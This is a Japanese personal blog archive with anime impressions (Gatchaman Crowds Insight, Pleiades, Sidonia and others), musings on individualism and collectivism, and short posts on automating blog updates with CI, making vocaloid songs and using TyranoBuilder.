個人的には、主人公が恋人候補に選んだ子、なんか突然雰囲気変わったような気がしたのだけど、あれは1話急ぎすぎたためか、あれが本来の彼女だったのか、誰か他の能力者によるものなのか判断できないなという感じだった。私としては、最後の理由による可能性が高いんじゃないかと今のところ考えていて、本来の因果に修正する能力者とかがいて、そう言ったものなのかなと考えたのだけど、深読みし過ぎかもしれないな。推測に推測を重ねているだけに、間違ってる可能性も相当高い。ただ、あれがラスト辺りのストーリーに繋がっているのだとしたら、まあ能力者によるものなのかもしれないなあという感じ。確率で言うと現時点では5%くらいか。

感想としては、面白かったが、今のところ主人公の好感度はそれほど高くないなあ。まあ、過去とか描かれたら上がってくるかもしれないし、これからの働きにもよるけど、1話ではこんな感じで、好感度低めからどんどん上げてく戦略なのかもねと思った程度だった。

好感度低い理由はたくさんあるけど、一つは、主人公の証拠をつきつけられた時の逃げ出し方が頭悪そうで、ダサかったからかなあ。なんであそこで逃げたし。どこに行くつもりだったのだか分からないし、あそこで逃げて問題は解決するのか相当に疑問だったので。まあ、これは他の能力者の能力を見せるための演出的利用なのかもしれないけど、もしそうだとしたら、主人公、ちょっと気の毒だったかもね。それを含め、主人公の好感度を1話から思いっきり上げることにはあまり興味なさそうな感じするアニメなんだと思う。

ちなみに、私はこっちの戦略のほうが好きだなあ。最初は好感度低めの設定。最初は低くて、それをどんどん上げてくれる方が、おーってなる。反対に、好感度MAXから下落してく主人公もあるので、そっちの場合は、むーってなる。

あと分かったことといえば、発現する能力が個人の思想と関連があることくらいか。これは後々結構重要になってくるだろうなと思う。例えば、今回見れた能力では、瞬間移動、視認阻止があるけど、女の子のほうの視認阻止は、一体、これはどんな思想やコンプレックスのあらわれなのかなあと思う。そして、これについても、のちのち語られそうだなと思う。

今のところ予想できることとしては、いじめられっ子だったとか、家族不仲だったとかそんな感じの理由が予想できるけど、情報が少なすぎるので、そして、推測に推測を重ねているので、この予想も外れる可能性のほうが高いと思うけど、こんな感じで考えてる。

まあ、色々書いたけど、面白いの一言に尽きる。

ガッチャマンクラウズ インサイト

面白い。ガッチャマンは展開予測不能。

いや、正確に言うと、展開の予測不能を目指しているという感じなのかも。

ただ、予測不能の中にも、このアニメには様々主張が存在してる。

まず、主要キャラ(主人公)として選ばれるキャラがなんか凄く感情的というところ。今回の白い女の子も怒りメインというか、感情メインだった。

しかし、はじめの感情値が変わらなかったのは、まあ、個人的な印象とずれるので、これがはじめの中にいるカッテによるものか分からない。前からそうだったのかもしれないが。個人的な印象で言うと、はじめちゃんは、感情値コロコロ変わりそうな感じだという印象。

ここで、このアニメの主張を少しだけ書く。

一つが選挙の年齢。このアニメ作った人が選挙年齢は引き下げたほうがいいって考えてるのは明らか。それが正しいのかは別にして。

あと、「みんなひとつになればいいのに」っていう宇宙人の主張。これもある程度作ってる人の主張っぽい気がする。

私の印象で言うと、この主張にはとても反感する人もいれば、この主張を強制的に推し進めようとする人もいる。この2つのタイプは、非常に合わないし、お互い嫌い合ってる感じがしてる。

どちらにもある程度の感情値が存在し、その感情値は結構高め。

一つは、「個人は個人であり、みんなひとつになるひつようなんてない」っていう感情。

もう一つは、「みんなひとつになればいいのに」っていう感情。

ガッチャマンは、後者の主張が強め。「みんなひとつになればいいのに」っていう主張。クラウズとか感情値とかは、そういった主張の現れっぽい気がする。

でも、「はじめちゃんは、はじめちゃん」っていう主張は、これとはちょっと矛盾する気もするので、意外と両極端の主張というよりは、割とバランスがとれたものだと思う。将来的に見ると。

いや、正確に言うと、これもちょっと違う。一つの主張というのは、バランスがとれているように見せかけるのが通常であり、このアニメでもそれは変わらないと思う。だから、個人的には、「みんなひとつに、みんななかよく」っていう主張のほうが強めだと思っている。いわゆる理想主義。

しかし、これが悪いというわけでは決してない。アニメなんかは、むしろこの理想に突っ走ってくれる方がむしろ爽快であると思う。

さて、ではあんたの主張はどうなんだっていう話も少しだけ。

私もバランスをとってるように見せかけるタイプだと思う。これが上手く出来ているかどうかは別にして。

それを抜きにすると、私は個人主義のほうが強めだと思う。

みんな一つになんてなれないと思ってる。けど、それを最も近づける状態にするには、個人を個人だと許容することだと思うので、なかなかに難しいと思ってる。

はじめちゃんは、個人主義に見せかけた全体主義だと思う。1期では、周りの共感を得ようとするし、みんなをまとめようとしているあたり、そう感じるところがあるなあ。

だけど、1話から判断できることは少ないし、このアニメ、最初にも言ったように予測不能。

そして、予測不能だからこそ、面白いと思う。

まあしかし、私の個人的な主張っていうのは、自分では実はあまりないんじゃないかとも考えていて、それについても一応説明しとくことにする。

上はあくまで客観的な視点からみた自分の主張だった気がする。

具体的には、みんなバランスを取ったように見せかけた主張をするならば、私もそうするはずなのだという視点だ。だから上記でもそれを言っているし、書いている。

次に、個人主義が全体主義につながるって話だけど、これはあくまで答えであり、私が出す答えは、本当に個人的な主張だろうかという疑問がある。これは、結構前からある。

普通は、その人の出した答えが、個人的な主張だろうとそう思う。だとすると、私の場合もそうなのだけど、自分の中ではそういう認識ではない気がする。

つまり、私が出す答えは、個人的な主張とはまた別の話だということを思ってる。

これは、自分だけが特別というわけではなく、あくまで一般的傾向ではない考え方であり、こういう考え方をする人もいると思うけど、少数ではないかなってことだと思う。

私は、全体主義を目指したほうが社会は良くなると考えていて、それが答えなのだけど、これを実現するには、個人主義を認めた全体主義でなければならず、個人が自律的にみんなのことを考え、想うってことが必要だと答えている。それは強制されたものであってはならず、それが強制されるなら、それは理想とする全体主義ではないということだ。

そして、これはあくまで定型的な答えであり、非常に単純なものだと思う。つまり、個人主義を全体主義につなげる社会は、より良い社会であるっていう答えだと思っている。

しかし、これが個人的な主張かと聞かれると、うーんという感じ。

私には、その答えが正しいかわからないし、そして、あまり興味もない。

普通は、自分が出した答えは正しいと考えるものなのではないだろうかと思うのだけど、私は正しいとは思ってない。

私が出す答えは、自分では当たってると思ってるし、最短であるとも思ってる。けど、正しいとは思ってない。

例えばだけど、人間で言う正解が、正しさが、この世界で言う正解や正しさとは限らないし、現在の人間で言う正しさが、その後の人間の正しさにどのような悪影響をおよぼすかもわからない。

そして、私にはそれを判断する情報が不足しすぎているので、なにも分からないし、わかってないというのが正直なところだ。

まあ、簡潔に言うと、私は多くの人が納得しそうな答えをだすことは得意だが、それについては、実はよくわかってないということだと思う。

無責任な話だが、これが正直な感想だ。

なんか非常に複雑な話になってしまったけど、ようは、「とりあえずの答えは出すけど、自分が主張すべきことはなにもない」って感じなのかもしれないなあ。

主張はね、あったほうが面白く視聴できるので、よいと思う。

Classroom☆Crisis

面白い。簡単に言うと、ロケット開発して飛ばす話。

これからリストラしに来た人が開発陣に感化されていく展開っぽい。予想だけど。

というか、書くの疲れてきたので、以降は簡潔に済ませます。

おくさまが生徒会長!

面白い...のか。インパクトがあり、すごくエロい。急展開。

男の子を喜ばせるだけのアニメという感じがするなあ。こういう展開は飽きるので、今後は見ないと思う。

わかば*ガール

面白いと思うけど、他のアニメのレベルが高すぎて、そして、こういう系統に飽きてきたので、今後は見ないと思う。

追記 : 1話は結構色々見てたんだなあ。


アニメ最近の傾向

ハーレム系と萌え系のアニメは、終わりに向かっているか、既に終わっているなと思いました。また、露骨なサービスシーンやエロ要素を入れたアニメなども評価されない傾向にあると思います。

私は、最近海外サイトでアニメレビューを見ることが多くなりました。

何故かと言うと、海外の人の話のほうが率直で本質的なレビューが多いからです。

国内のレビューは、何というか、まとはずれな批判や本質とは全く関係ない誹謗中傷などが多い気がします。

https://www.reddit.com/r/anime/

アニメにも英語が求められる時代、英語をネイティブレベルで読み書きできるようになりたい...(切実。

ただ、国内でも新規かつ人が少ないところって、割りと普通に良いサイトも有ります。例えば、キューポなんていい感じですね。コメントで意味のない誹謗中傷をあまり見かけません。国内の有名どころは、ほとんどが意味のない誹謗中傷で満たされていることを考えれば、比較的まともに見れるサイトだと思います。

http://cupo.cc/

あと、国内でも高度な技術者が集まるようなサイトはすごくまともな印象です。


過去のブログ記事を管理したい

ブログの記事をJSONで管理できるようにしてみたけれど、様々なところに応用出来る形で目指していきたいなあと思いました。

というのも、私の場合、やはり、様々なところにポストしていて、それが同じような内容になることが少なくないからです。

ちなみに、以下は日常の更新風景の一部を撮影したものです。こんな感じで使える箇所を選んでいって出力したものをコミットすればブログが更新されるのですが、最近ではファイルを置いとくと、自動的に更新するようにしました。

といっても、全部一気に出すのも勿体無いので、一日に一回ポストするように、サーバーを立ててコミットしています。これは、現在、このブログとQiitaを対象にやっていますが、なんというか、他のところにも自動ポストするように設定したくなってきたので、やるかもしれません。

記事は直接書いたり、過去の記事を参照したり、メモを記事にしたりといろいろです。何もしないと、自動的にメモがポストされるようになってます。

これが思った以上に快適で、いろいろなことに煩わされずに済むので良い感じです。自動化して本当に良かった...。

私のブログの自動化は、CIの採用から一気に進むことになります。今まではローカルでビルドしたものをあげてたのですが、今では本当にめんどくさすぎるなと。やる気でないだろとそんな感じに思ってしまうのは、時間が経ちすぎたからでしょうか。CIを使い始めてから実は、約2,3ヶ月もの長い歳月が経過してますし。

次にとりかかったのが個人メモをブログにする方法です。そこからメモをサーバーと同期するようにして、定期的にコミットするようにしました。コミットすれば、CIが自動ビルドしますので。ここからはその仕組を使ったQiitaへの自動ポストもやってみました。これは、Qiita APIを使うとできます。このブログは、BlogggerなのでBlogger APIを使えばできますね。

一番大きかったのは、やはりメモ管理です。今まで、メモはなんとなくという感じで、とても再利用できるものではなかったのですが、特定の書式で描くことで、意識的に分かりやすく、再利用できる形で書くようになりました。また、使っているうちに、不便なところを直し、便利な設定を幾つか追加しながら、使い慣れていったという感じ。

やはり、ネットにソースコードをあげとくと、記事を再利用しやすくて便利だと思いました。


こみっくがーるずの感想

##こみっくがーるずを読んでみたよ

最近、きららの4コマを購入することが多くなりました。これもアニメの影響だと思います。昔なら考えられない。

最近購入して面白かったのが、「こみっくがーるず」という漫画です。Kindleで買いましたが、面白かったです。

漫画寮の話で、漫画を書くの大変そうだなと思いました。

書きたい話があっても、いざ漫画にしてみると、すごい難しいです。自分では無理だなーと思いました。

なので、漫画家さんはすごい。


2015年夏アニメ、最初に見る予定だったアニメ

2015Q3

私が見る予定だったのは、以下でした。

  • ガッチャマンクラウズ

  • のんのんびより

  • がっこうぐらし!

  • だんちがい

  • Fate/kaleid liner

ガッチャマン

これは、1期が非常に面白かったし、ちゃんとしたテーマもあったし、どんでん返しもあったし、キャラが個性的だったし、面白かったし。

2期では、じぇーじぇーが悪者になる感じぽいのだけど、こういう展開は凄く好きです。ちなみに、じぇーは、主人公に力を与え、ヒーローにした神様的なやつですが、謎多きキャラ。預言者、伝導者、そんな感じの、自らは何もしないが、導くだけの人だった。1期では。

気になります。

のんのん

これは、漫画を買ってるのだけど、非常に面白いだけに、漫画をそのままアニメ化するのではなく、個人的にはアニメオリジナルストーリーを見たい。

だって、既に知ってる内容、つまんないもん。いくら漫画やアニメが好きだとしても。ちなみに、私はアニメから漫画に入った人でして、どちらも面白かったです。

正直、私は、漫画で描かれてる部分がアニメでどうなるのかっていうのには興味が全くなく、アニメで新しいストーリーが見たいだけなのだけど、それがたくさんあれば、個人的には嬉しい。

そうでない場合は、飽きてしまって視聴をやめてしまうこともあるかもしれないけれど、とても好きな作品です。

がっこう

がっこうは、知らない作品なので、ワクワクです。絵とか見て、好きだし、面白そうだなーと思ったので。

だんちがい

これは、漫画を買ってますし、面白いです。私は、羽月が好きですね。とても好きなタイプです。

でも、リアルでこんな妹がいたら、本当にうざいってなりそうなので、アニメだからいいんだと思います。

Fate イリヤ

私の場合、Fateを知ったのはイリヤからでした。2015Q2のFateを見て、本編はシリアスだと思いましたね。

こちらは、ギャグ多めで、シリアスはちょっと薄めです。

1,2期は結構面白かった気がします。

あと、バトルシーンの動きが好きなアニメでした。

余談ですが、最後まで見ていたアニメはのんのんとガッチャマンくらいだった記憶があります。


2015年アニメの感想

2015年春アニメの総評です。

アニメ、実は、あまり観てなかった気がしますね。観てたとしても作業中に流し見してたという感じなので、感想とかもあまりあてにならないかも。

##ユーフォニアム

響けユーフォニアム、観てる時は、すごく面白かったけど、見直さなかったなあ。前にも書いたと思うけど、これは、流れる作品だと思う。確かにすごいんだけど、やっぱり流れる作品だと思う。もったいないかというと、私はそうは思わない。テーマがテーマだし。

ただ、技術的には素晴らしい作品だった気がする。

##プレアデス

放課後のプレアデス、すごい良かった。

実は、プレアデスには全く期待してなかった。このブログでも書いてたけど、YouTube版が全然面白くなかった記憶があって、12話放送されるくらいまで全くスルーだった。

で、Twitterでプレアデスの評価が流れてきて、それが結構高かったので、見ることにした作品。そして、何度も見なおした作品であり、珍しい。

最近、見なおしたのはSHIROBAKOくらいだった気がする。

##シドニア

シドニアの騎士、予想通り良かった。

1期で既に良かったし、1期は見なおした記憶がある。

でも、2期はなぜか見直さなかったなあ。凄くよく出来てると思うんだけど、なんでだろう。


最近また曲を作り始めた

最近また曲を作り始めました。ボーカロイドです。

ただ、ニコニコアカウントは削除してしまったので、配布はしていません。

結構たくさん作ったのですが、本当にいい曲ってなかなか作れません。

いい曲というのは、自分でよく聴く曲という意味ですが、他の人が作った曲でもプロが作った曲でも、自分がいいなーと思って何度も聴く曲は本当に300曲に1曲くらいなので、仕方ないかもしれませんね。

そんなことを思ったのでした。

自分が作った曲はGitHubのほうに一部上げているので、参考までに。そこまでして聴きたい人がいるとは思えないけど。あと、リポジトリは突然削除されることがあります。では。

https://github.com/syui/vocaloid


TyranoBuilderでノベルゲーム制作

TyranoBuilderというゲーム制作を簡単にしてくれるスクリプトやツールがあります

基本的にはビルドして、出来上がったものをWebサーバーに置くとゲームを配布できます。HTML5とかで動きます。

あと、iOSやAndroid用にも使えます。

過去に色々ハマった記憶があるのですが、GitHub Pages上では動かず、Bitbuackt Pages上では動きました。あと、Google Siteでは面倒くさすぎてデプロイを断念した記憶があります。


放課後のプレアデス感想

このアニメは、色々考えさせられた気がするのだけど、今思うと2回視聴するのは何となく気が進まないようなアニメだった気がする。

良く言えば普通、悪く言っても普通、そんな感じだった。

ただ、宇宙とかがテーマになっているだけあって、とても清々しかった気がする。空を飛んでいるところとか爽快だったし、その点では面白かった。

色々なものがつめ込まれているアニメで、例えば、友情、恋愛、日常、宇宙など、そして、楽しげで、しかし、どこか寂しい雰囲気を持ち合わせたアニメだった。

最後はみんなバラバラになって、記憶もなくしてしまう。けれど、希望を残した終わり方だったので、後味はそんなに悪く無かった。

もう一度見てみようかな。でも、やっぱりなんか重い...。